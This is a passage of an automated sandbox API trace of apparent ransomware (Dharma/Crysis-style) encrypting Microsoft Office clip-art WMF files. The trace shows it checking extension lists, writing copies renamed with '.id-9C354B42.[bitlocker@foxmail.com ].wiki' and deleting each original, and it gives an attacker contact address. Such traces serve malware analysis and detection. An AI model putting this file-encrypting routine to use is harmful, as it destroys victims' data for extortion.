lpString2=".WMF") returned -1 [0200.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0200.024] lstrlenW (lpString=".zip") returned 4 [0200.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.024] lstrlenW (lpString=".rar") returned 4 [0200.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.024] lstrlenW (lpString=".bz2") returned 4 [0200.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.024] lstrlenW (lpString=".7z") returned 3 [0200.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0200.024] lstrlenW (lpString=".dbf") returned 4 [0200.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0200.025] lstrlenW (lpString=".1cd") returned 4 [0200.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0200.025] lstrlenW (lpString=".jpg") returned 4 [0200.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.025] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0200.025] lstrlenW (lpString="J0195320.WMF") returned 12 [0200.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0200.025] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=29432) returned 1 [0200.025] CloseHandle (hObject=0x1e0) returned 1 [0200.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf")) returned 0x20 [0200.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0200.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0200.026] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.026] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0200.026] GetLastError () returned 0x0 [0200.026] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x72f8, lpOverlapped=0x0) returned 1 [0200.028] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x7300, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7300, lpOverlapped=0x0) returned 1 [0200.029] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0200.029] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0200.029] SetEndOfFile (hFile=0x200) returned 1 [0200.029] CloseHandle (hObject=0x200) returned 1 [0200.029] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.029] SetEndOfFile (hFile=0x1e0) returned 1 [0200.030] CloseHandle (hObject=0x1e0) returned 1 [0200.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0200.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf")) returned 1 [0200.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0200.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0200.031] lstrlenW (lpString=".doc") returned 4 [0200.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.031] lstrlenW (lpString=".docx") returned 5 [0200.031] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0200.031] lstrlenW (lpString=".pdf") returned 4 [0200.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.031] lstrlenW (lpString=".xls") returned 4 [0200.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.031] lstrlenW (lpString=".xlsx") returned 5 [0200.031] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0200.031] lstrlenW (lpString=".ppt") returned 4 [0200.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0200.031] lstrlenW (lpString=".zip") returned 4 [0200.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.032] lstrlenW (lpString=".rar") returned 4 [0200.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.032] lstrlenW (lpString=".bz2") returned 4 [0200.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.032] lstrlenW (lpString=".7z") returned 3 [0200.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0200.032] lstrlenW (lpString=".dbf") returned 4 [0200.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0200.032] lstrlenW (lpString=".1cd") returned 4 [0200.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0200.032] lstrlenW (lpString=".jpg") returned 4 [0200.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0200.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0200.032] lstrlenW (lpString=".doc") returned 4 [0200.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.032] lstrlenW (lpString=".docx") returned 5 [0200.032] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0200.032] lstrlenW (lpString=".pdf") returned 4 [0200.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.033] lstrlenW (lpString=".xls") returned 4 [0200.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.033] lstrlenW (lpString=".xlsx") returned 5 [0200.033] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0200.033] lstrlenW (lpString=".ppt") returned 4 [0200.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0200.033] lstrlenW (lpString=".zip") returned 4 [0200.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.033] lstrlenW (lpString=".rar") returned 4 [0200.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.033] lstrlenW (lpString=".bz2") returned 4 [0200.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.033] lstrlenW (lpString=".7z") returned 3 [0200.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0200.033] lstrlenW (lpString=".dbf") returned 4 [0200.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0200.033] lstrlenW (lpString=".1cd") returned 4 [0200.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0200.033] lstrlenW (lpString=".jpg") returned 4 [0200.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.033] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0200.034] lstrlenW (lpString="J0195342.WMF") returned 12 [0200.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0200.034] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=21328) returned 1 [0200.034] CloseHandle (hObject=0x200) returned 1 [0200.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf")) returned 0x20 [0200.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0200.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0200.034] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.034] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0200.035] GetLastError () returned 0x0 [0200.035] ReadFile (in: hFile=0x200, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x5350, lpOverlapped=0x0) returned 1 [0200.037] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x5360, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5360, lpOverlapped=0x0) returned 1 [0200.038] ReadFile (in: hFile=0x200, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0200.038] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0200.038] SetEndOfFile (hFile=0x218) returned 1 [0200.039] CloseHandle (hObject=0x218) returned 1 [0200.039] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.039] SetEndOfFile (hFile=0x200) returned 1 [0200.040] CloseHandle (hObject=0x200) returned 1 [0200.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0200.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf")) returned 1 [0200.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0200.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0200.040] lstrlenW (lpString=".doc") returned 4 [0200.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.040] lstrlenW (lpString=".docx") returned 5 [0200.040] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0200.040] lstrlenW (lpString=".pdf") returned 4 [0200.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.040] lstrlenW (lpString=".xls") returned 4 [0200.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.040] lstrlenW (lpString=".xlsx") returned 5 [0200.041] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0200.041] lstrlenW (lpString=".ppt") returned 4 [0200.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0200.041] lstrlenW (lpString=".zip") returned 4 [0200.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.041] lstrlenW (lpString=".rar") returned 4 [0200.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.041] lstrlenW (lpString=".bz2") returned 4 [0200.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.041] lstrlenW (lpString=".7z") returned 3 [0200.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0200.041] lstrlenW (lpString=".dbf") returned 4 [0200.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0200.041] lstrlenW (lpString=".1cd") returned 4 [0200.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0200.041] lstrlenW (lpString=".jpg") returned 4 [0200.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0200.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0200.041] lstrlenW (lpString=".doc") returned 4 [0200.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.041] lstrlenW (lpString=".docx") returned 5 [0200.041] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0200.042] lstrlenW (lpString=".pdf") returned 4 [0200.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.042] lstrlenW (lpString=".xls") returned 4 [0200.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.042] lstrlenW (lpString=".xlsx") returned 5 [0200.042] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0200.042] lstrlenW (lpString=".ppt") returned 4 [0200.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0200.042] lstrlenW (lpString=".zip") returned 4 [0200.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.042] lstrlenW (lpString=".rar") returned 4 [0200.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.042] lstrlenW (lpString=".bz2") returned 4 [0200.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.042] lstrlenW (lpString=".7z") returned 3 [0200.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0200.042] lstrlenW (lpString=".dbf") returned 4 [0200.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0200.042] lstrlenW (lpString=".1cd") returned 4 [0200.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0200.042] lstrlenW (lpString=".jpg") returned 4 [0200.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.043] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0200.043] lstrlenW (lpString="J0195428.WMF") returned 12 [0200.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0200.043] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=18622) returned 1 [0200.043] CloseHandle (hObject=0x200) returned 1 [0200.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf")) returned 0x20 [0200.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0200.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0200.043] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.044] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0200.044] GetLastError () returned 0x0 [0200.044] ReadFile (in: hFile=0x200, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x48be, lpOverlapped=0x0) returned 1 [0200.046] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x48c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x48c0, lpOverlapped=0x0) returned 1 [0200.047] ReadFile (in: hFile=0x200, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0200.047] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0200.047] SetEndOfFile (hFile=0x218) returned 1 [0200.047] CloseHandle (hObject=0x218) returned 1 [0200.047] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.048] SetEndOfFile (hFile=0x200) returned 1 [0200.048] CloseHandle (hObject=0x200) returned 1 [0200.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0200.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf")) returned 1 [0200.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0200.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0200.049] lstrlenW (lpString=".doc") returned 4 [0200.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.049] lstrlenW (lpString=".docx") returned 5 [0200.049] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0200.049] lstrlenW (lpString=".pdf") returned 4 [0200.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.049] lstrlenW (lpString=".xls") returned 4 [0200.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.049] lstrlenW (lpString=".xlsx") returned 5 [0200.049] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0200.049] lstrlenW (lpString=".ppt") returned 4 [0200.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0200.049] lstrlenW (lpString=".zip") returned 4 [0200.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.049] lstrlenW (lpString=".rar") returned 4 [0200.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.049] lstrlenW (lpString=".bz2") returned 4 [0200.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.049] lstrlenW (lpString=".7z") returned 3 [0200.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0200.049] lstrlenW (lpString=".dbf") returned 4 [0200.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0200.050] lstrlenW (lpString=".1cd") returned 4 [0200.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0200.050] lstrlenW (lpString=".jpg") returned 4 [0200.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0200.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0200.050] lstrlenW (lpString=".doc") returned 4 [0200.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.050] lstrlenW (lpString=".docx") returned 5 [0200.050] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0200.050] lstrlenW (lpString=".pdf") returned 4 [0200.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.050] lstrlenW (lpString=".xls") returned 4 [0200.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.050] lstrlenW (lpString=".xlsx") returned 5 [0200.050] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0200.050] lstrlenW (lpString=".ppt") returned 4 [0200.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0200.050] lstrlenW (lpString=".zip") returned 4 [0200.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.050] lstrlenW (lpString=".rar") returned 4 [0200.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.050] lstrlenW (lpString=".bz2") returned 4 [0200.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.050] lstrlenW (lpString=".7z") returned 3 [0200.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0200.051] lstrlenW (lpString=".dbf") returned 4 [0200.051] 